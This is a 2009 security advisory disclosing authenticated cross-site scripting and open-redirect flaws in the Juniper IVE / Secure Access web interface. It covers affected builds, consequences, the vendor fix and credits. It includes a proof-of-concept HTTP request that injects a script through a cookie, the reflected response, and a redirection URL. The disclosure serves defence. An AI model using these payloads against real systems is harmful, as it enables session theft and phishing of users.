PR09-17: Juniper Secure Access series (Juniper IVE) authenticated XSS & REDIRECTION http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr09-17 Vulnerability found: 12th October 2009 Vendor informed: 12 October 2009 Severity: Medium (Script injection) Description: There are multiple authenticated Cross-site Scripting vulnerability on Junipers, IVE web interface. Procheckup has found by making a malformed authenticated request to the IVE Web interface, that vanilla cross site scripting (XSS) attacks are possible. Successfully tested on: Juniper Networks IVE version 6.5R1 (Build 14599) version 6.5R2 (Build 14951) Model SA-2000 Proof of concepts: 1) The configuration program is vulnerable to a GET cookie XSS attack GET /dana/nc/ncrun.cgi?launch_nc=1 HTTP/1.1 Host: 10.0.5.23 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: https://10.0.5.23/dana/home/index.cgi Cookie: DSPREAUTH=; DSFirstAccess=1255332662; DSHCSTARTED=x; DSASSERTREF=x; DSLastAccess=1255332662; lastRealm=Users; DSSignInURL=/e6cf2"><script>alert(1)</script>81d17f3a375; DSSIGNIN=url_default; DSOSMLOGIN=x; DSIVS=; DSCheckBrowser=x; DSID=5beee6a236f28b2c3ccf14d56b34feba; DSLaunchURL=x; DSBrowserProxy=127.0.0.1%3A8080; RESULTS (PART OF) <PARAM NAME="AutoStart" VALUE="false"><param name="locale" value="en"> <param name="upgradeMode" value=""> <param name="Parameter0" value="cert_md5=8ae8f59ab11a2e6f43b383876d270799;dns-suffix=procheckup.c om;switch-dns-search-order=disabled;internal-proxy-config=no;ncp_read_ti meout=90;enable_logging=0;enable_logupload=0;win_start_script=;win_end_s cript=;win_skip_start_script=0;linux_start_script=;linux_end_script=;mac _start_script=;mac_end_script=;signin_url=/e6cf2"><script>alert(1)</scri pt>81d17f3a375;fips_mode=0"> <param name="Parameter1" value="split-tunneling-routes="> <param name="Parameter2" value="split-tunneling-mode=1"> <param name="Parameter3" value="nc_auto_uninstall_mode=0"> 2) REDIRECTION https://target-domain.foo/dana/home/homepage.cgi?syncFlag=1&name=test&ur l=555-555-0199 (at) example (dot) com [email concealed]&chkFavorite=on&chkNewWindow=on&chkAddressBar= on&Location=http://www.procheckup.com&chkToolbar=on&cancel=Cancel Consequences: An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link or visits a malicious webpage. The malicious code would run in the security context of the vulnerable website. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: passwords or session IDs) to unauthorised third parties. Fix: Update to version 6.5R3.1 (build 15255) or a later version. References: http://www.juniper.net/alerts/viewalert.jsp?actionBtn=Search&txtAlertNum ber=PSN-2010-05-751&viewMode=view Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com) Legal: Copyright 2009 Procheckup Ltd. All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.